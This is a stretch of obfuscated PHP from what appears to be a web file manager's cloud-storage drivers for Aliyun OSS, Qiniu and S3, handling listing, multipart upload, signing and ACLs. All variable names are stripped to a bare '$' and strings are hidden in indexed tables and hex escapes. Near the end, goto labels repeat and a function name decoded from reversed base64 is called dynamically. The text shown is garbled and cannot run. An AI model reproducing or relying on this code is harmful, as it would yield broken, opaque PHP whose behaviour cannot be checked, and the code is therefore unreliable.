= $[0]->getExposeHeaders(); $ = $[0]->getAllowedHeaders(); return array($[204] => isset($[0]) ? $[0] : $[12], $[208] => $, $[1431] => $, $[1432] => isset($[0]) ? $[0] : $[12], $[206] => isset($[0]) ? $[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[204]] != $[205] || $[$[206]] != $[205]) { return !1; } $ = array_map($[207], $[$[208]]); if (!is_array($)) { $ = array(); } $ = array($[209], $[210], $[211], $[212], $[213]); $ = array_diff($, $); return empty($); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); $ = array($[1433] => $, $[1434] => $, $[1435] => $, $[1436] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); foreach ($ as $) { if ($->getKey() == $) { continue; } $ = $->getKey(); $ = $->getSize(); $ = $->getLastModified(); $ = trim($->getETag(), $[120]); $ = $ ? array($[32] => $, $[78] => $, $[196] => strtotime($), $[1437] => $) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $ = array($[78] => $, $[1438] => $, $[87] => strtotime($), $[1439] => $, $[1437] => $); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $; } foreach ($ as $) { $[] = $->getPrefix(); $this->cacheMethodInfoSet($->getPrefix(), !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[84] => $, $[85] => $); } public function copyFile($, $) { $ = $this->size($); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $, $this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } $ = $this->multiCopyObject($, $, $); return $ ? $this->getPathOuter($) : !1; } private function multiCopyObject($, $, $) { $ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1440] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $ = 0; $ = array(); $ = 1024 * 1024 * 10; $ = $this->client->generateMultiuploadParts($, $); foreach ($ as $ => $) { $ = $ + (int) $[$[1441]]; $ = (int) $[$[383]] + $ - 1; $ = array($[1442] => $, $[1443] => $); $[] = $this->client->uploadPartCopy($this->bucket, $, $this->bucket, $this->pathEncode($), $, $, $); $ = $ + 1; } $ = array(); foreach ($ as $ => $) { $[] = array($[1444] => $ + 1, $[1445] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$[84]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { try { $this->client->deleteObjects($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } $ = array($[87] => strtotime($[$[1439]]), $[78] => $[$[1438]] + 0, $[1437] => $[$[1437]]); } if (isset($[$[1437]]) && $[$[1437]]) { $[$[221]] = trim($[$[1437]], $[120]); } if (isset($[$[78]])) { $[$[78]] = $[$[78]]; } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (isset($[$[196]]) && !trim($[$[87]])) { $[$[87]] = $[$[196]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (!$) { return $; } $ = array($[217] => $[$[546]][$[1446]], $[87] => strtotime($[$[1439]])); } if (isset($[$[87]])) { $[$[87]] = $[$[87]]; } if (isset($[$[217]])) { $[$[217]] = $[$[217]]; } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ => $) { $[$[84]][$] = $this->folderInfo($, $, $); } foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $[$[80]] += count($[$[84]]); $[$[79]] += count($[$[85]]); foreach ($[$[85]] as $) { if (!$ || !$[$[78]]) { continue; } $[$[78]] += $[$[78]]; } } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $ = 0; while (!0) { check_abort(); $ = array($[1433] => $[8], $[1434] => $, $[1435] => $, $[1436] => $); try { $ = $this->client->listObjects($this->bucket, $); } catch (OSS\Core\OssException $) { break; } $ = $->getNextMarker(); $ = $->getObjectList(); $ = $->getPrefixList(); if ($) { if (count($) > 1 || count($) == 1 && $[0]->getKey() != $) { $ += count($) - 1; } if (!empty($)) { $ += count($); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || $[0]->getKey() != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[]; $ = $this->pathAcl($); return $ == $[1447] || $ == $[589] ? !0 : !1; } public function canWrite($) { $ = $this->pathAcl($); return $ == $_SERVER[][589] ? !0 : !1; } public function pathAcl($) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } $ = $ == $[37] ? $this->bucketAcl : $; if ($ == $[1448]) { return $[1447]; } if ($ == $[1449]) { return $[589]; } return $; } private function chmodPath($, $ = '') { $ =& $_SERVER[]; $ = empty($) ? $[1449] : $; $ = array($[37], $[215], $[1448], $[1449]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getContent($) { return $this->fileSubstr($, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; try { $ = $this->trafficLimit($[1450]); $ = $this->client->putObject($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } $ = array($[1440] => trim($[$[1437]], $[120]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $this->updateObjMeta($, $); return isset($[$[1451]][$[277]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1440] => @md5_file($)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1450], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $ =& $_SERVER[]; $ = explode($[200], parent::getHost()); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $; $ = date($[1452], time() + $); $ = new DateTime($); $ = $->format(DateTime::ISO8601); $ = strpos($, $[342]); $ = substr($, 0, $) . $[1453]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($[260] => $, $[263] => array(array($[1454], 0, $), array($[266], $[267], $))); $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[249], $, $this->secret, !0)); $ = array($[278] => $, $[1455] => $this->accessKey, $[270] => $[259], $[1456] => $, $[198] => $); $ = $this->trafficLimit($[1450], $); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; if (!($ = $this->getHost())) { return !1; } $ = $this->trafficLimit($[1450]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); return array($[240] => $, $[198] => $ . $[8] . $this->pathEncode($), $[241] => gmdate($[1457]), $[96] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[241]]) ? $[$[241]] : gmdate($[1457]); $ = isset($[$[177]]) ? $[$[177]] : $[12]; $ = $; if (isset($[$[96]])) { $ = $[$[96]]; unset($[$[96]]); } if (isset($[$[242]])) { $[$[241]] = $; return $this->listUploadParts($, $); } $ = array($[243], $[12], $[122], $, "\x78\x2d\x6f\x73\x73\55\x64\141\164\145\72{$}", $[8] . $this->bucket . $[8] . $ . $); if (strpos($, $[244]) === 0) { $[0] = $[245]; if ($ = $this->trafficLimit($[1450])) { $ = $[1458]; array_splice($, 5, 0, $ . $[4] . $[$]); } } if (isset($[$[246]]) && $[$[246]] == $[247]) { $[0] = $[247]; } if (!empty($[$[1459]])) { $ = array_merge(array($[4]), $[$[1459]]); sort($); $[4] = implode($[248], $); } $ = implode($[248], $); $ = base64_encode(hash_hmac($[249], $, $this->secret, !0)); $ = $[1423] . $this->accessKey . $[4] . $; if (strpos($, $[244]) === 0) { $ = array($[251] => $, $[241] => $); if ($) { $ = array_merge($, $); } } return $; } public function listUploadParts($, $) { $ =& $_SERVER[]; $ = parse_url_query($[$[177]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$[240]]); $ = $->getListPart(); $ = array(); foreach ($ as $) { $[] = array($[1444] => $->getPartNumber(), $[1445] => trim($->getETag(), $[120])); } unset($[$[242]], $[$[246]]); $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($[251] => $, $[241] => $[$[241]], $[253] => $); } public function download($, $) { if ($this->isFolder($)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][111], $); $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { return !1; } return $; } public function fileSubstr($, $ = 0, $ = false) { if ($ === -1) { $ = array(); } else { if ($ === !1) { $ = $this->size($); } else { $ = $ + $ - 1; } $ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $) { think_exception($->getMessage()); return !1; } } private function trafficLimit($, $ = array()) { $ =& $_SERVER[]; if ($ == $[1450] && $this->isUploadServer() || $ == $[111] && $this->isFileOutServer()) { return $; } $ = floatval($GLOBALS[$[6]][$[91]][$[109]][$]) * 1024 * 1024 * 8; if (!$) { return $; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ = $this->trafficLimit($[111], $); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[247], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { return !1; } } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $ = get_file_mime(get_path_ext($)); if ($ == $[234]) { return parent::fileOut($, $, $, $); } $ = $ ? $[1460] : $[1461]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1462] . rawurlencode("{$}\73\146\151\x6c\145\x6e\141\155\145\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1463] . rawurlencode($); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1420] . $); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this->_objectMeta($); if (!$) { return $[12]; } if (!isset($[$[1440]]) && !empty($)) { $ = $this->updateObjMeta($, array($[1440] => $)); $[$[1440]] = $ ? $ : $[12]; } return isset($[$[1440]]) ? strtolower($[$[1440]]) : $[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; try { $ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $ = !1; } if ($) { $[$[78]] = intval($[$[1438]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = array($[1433] => $[8], $[1434] => rtrim($, $[8]) . $[8], $[1435] => 1, $[1436] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1464]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1465] . LNG($[1424])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = $ . $[8]; $ = get_path_this($); $ = $ . $; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $ = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $ ? !1 : $this->getPathOuter($); } public function delFile($) { if (!$this->exist($)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $); return $ ? !1 : !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$[84]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($); if ($) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($[$[1466]]) ? $[$[1466]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[220]]) && $[$[220]]) { $[$[221]] = $[$[220]]; } if (isset($[$[230]]) && $[$[230]]) { $[$[221]] = $[$[230]]; } if (isset($[$[1467]])) { $[$[87]] = substr($[$[1467]] . $[12], 0, 10); } if (isset($[$[1466]])) { $[$[78]] = $[$[1466]]; } return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; $ = rtrim($, $[8]) . $[8]; $ = $this->objectMeta($); if (isset($[$[1467]])) { $[$[87]] = substr($[$[1467]] . $[12], 0, 10); } return $; } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ => $) { $[$[84]][$] = $this->folderInfo($, $); } foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->fileInfo($[$[96]], $, $); } return $; } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 500; $ = $[8]; $ = $ = 0; while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1436], $) ? $ = $[$[1468]] : $[12]; if ($) { if (!empty($[$[1469]])) { $ += count($[$[1469]]); } if (!empty($[$[1470]])) { $ += count($[$[1470]]); } if ($ === $[12]) { break; } continue; } if ($) { if (!empty($[$[1469]])) { return !0; } } else { if (!empty($[$[1470]])) { return !0; } } if ($ === $[12]) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = $[12]; $ = 1000; $ = $ = array(); while (!0) { check_abort(); list($, $) = $this->bucketManager->listFiles($this->bucket, $, $, $, $); if ($) { break; } $ = array_key_exists($[1436], $) ? $ = $[$[1468]] : $[12]; $ = isset($[$[1469]]) ? $[$[1469]] : array(); $ = isset($[$[1470]]) ? $[$[1470]] : array(); foreach ($ as $) { if ($[$[96]] == $) { continue; } $ = $[$[96]]; $ = $[$[1466]]; $[$[78]] = $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ : $; } foreach ($ as $) { if ($ == $) { continue; } $[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[84] => $, $[85] => $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function refreshUrls($) { $ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $) { $[] = $this->link($); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $) = $->refreshUrls($); if ($) { return !1; } return $[$[1233]] == $[804] ? !0 : !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1471] . $ . $[432] . $); } $ = url_request($, $[247], !1, $); return $[$[795]] ? $[$[1253]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $) = $->putFile($, $, $, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($, $ = 3600) { return $this->uploadToken($, $); } private function uploadToken($, $ = 3600) { $ =& $_SERVER[]; $ = $; $ = array($[1472] => $[1473]); $ = $; $ = $this->auth->uploadToken($this->bucket, $, $, $, !0); $ = empty($this->region) || $this->region == $[1474] ? $[12] : $[432] . $this->region; $ = http_type() . "\x3a\x2f\57\165\x70\x6c\157\x61\144{$}\56\161\151\156\x69\x75\x70\x2e\143\x6f\x6d\x2f"; return array($[1475] => $, $[1476] => $); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1477]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? $[1478] . rawurlencode($) : $[12]; $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { $ = $this->link($, $_SERVER[][1479] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$[230]]) ? $[$[230]] : !1; $ = $this->link($, $[1480]); } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; list($, $) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$[78]] = intval($[$[1466]]); } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } list($, $) = $this->bucketManager->listFiles($this->bucket, trim($, $[8]) . $[8], $[12], 1, $[8]); return !empty($[$[1469]]) || !empty($[$[1470]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[215]; $ = $[255]; $ = $[62]; $ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ = $ . $[12]; $ = $[259]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[260] => gmdate($[1376], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $), array($[271] => $), array($[272] => $), array($[273] => $), array($[274] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $); $ = array($[232] => $[12], $[277] => $[12], $[265] => $, $[270] => $, $[278] => $, $[279] => $, $[280] => $, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = gmdate($[1481]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($[240] => $, $[198] => $this->getHost() . $[8] . $this->pathEncode($), $[241] => $, $[96] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[177]]) ? $[$[177]] : $[12]; $ = $[$[96]]; unset($[$[96]]); if (isset($[$[242]])) { return $this->listUploadParts($, $); } $ = array(); if (isset($[$[1482]])) { $[$[1483]] = $[$[1482]]; } $ = explode($[200], $this->getHost()); $ = array($[1484] => $[1], $[1485] => $[12], $[232] => $[122], $[277] => $[$[78]]); $ = $[245]; $ = $[8] . $this->pathEncode($) . $; $ = $this->client->__getSignatureV4($, $, $, $); if (strpos($, $[244]) === 0) { if (isset($[$[1483]])) { $ = $[$[1483]]; } else { if (isset($[$[1483]])) { $ = $[$[1483]]; } else { $ = hash($[275], $[12]); } } return array($[251] => $[$[251]], $[1483] => $, $[241] => $[$[1486]]); } return $[$[251]]; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ = str_replace($[252], $[12], $[$[177]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } $ = $[1487]; foreach ($ as $) { $ .= $[1488] . "\74\120\141\162\x74\x4e\x75\x6d\x62\x65\x72\x3e{$[$[1444]]}\x3c\x2f\x50\141\162\164\116\x75\x6d\142\x65\162\76\xa" . "\74\105\124\x61\x67\x3e{$[$[1445]]}\x3c\57\105\124\141\147\x3e\12" . $[1489]; } $ .= $[1490]; $ = array(); $ = explode($[200], $this->getHost()); $ = array($[1484] => $[1], $[232] => $[122], $[277] => strlen($)); $ = $[243]; $ = $[8] . $this->pathEncode($) . $[$[177]]; $ = $this->client->__getSignatureV4($, $, $, $, $); return array($[251] => $[$[251]], $[241] => $[$[1486]], $[253] => $, $[1483] => $[$[1483]]); } public function link($, $ = array()) { return parent::link($, $); } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1491])) { return parent::fileOutServer($, $, $, $); } parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1491])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } public function getHost() { $ =& $_SERVER[]; $ = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ = explode($[200], $); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } } goto B; E: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto D; E: class SourceHistoryModel extends ModelBase { protected $tableName = "\151\157\137\x73\157\x75\x72\x63\x65\x5f\150\x69\163\x74\157\162\x79"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[183], $[1937] => $[536]); $ = array($[183] => array($[7], $)); $ = $this->field($)->where($)->group($[183])->select(); return array_to_keyvalue($, $[183], $[536]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[461] => $[$[183]], $[1696] => isset($[$[499]]) ? $[$[499]] : $[$[497]], $[512] => $[$[511]], $[587] => $[$[78]], $[2149] => $); if ($GLOBALS[$[6]][$[91]][$[1268]] >= 1) { $this->historyAutoClear($[$[183]]); $this->add($); } Hook::trigger($[2150], $); Model($[2151])->eventFileEdit($[$[183]]); } private function 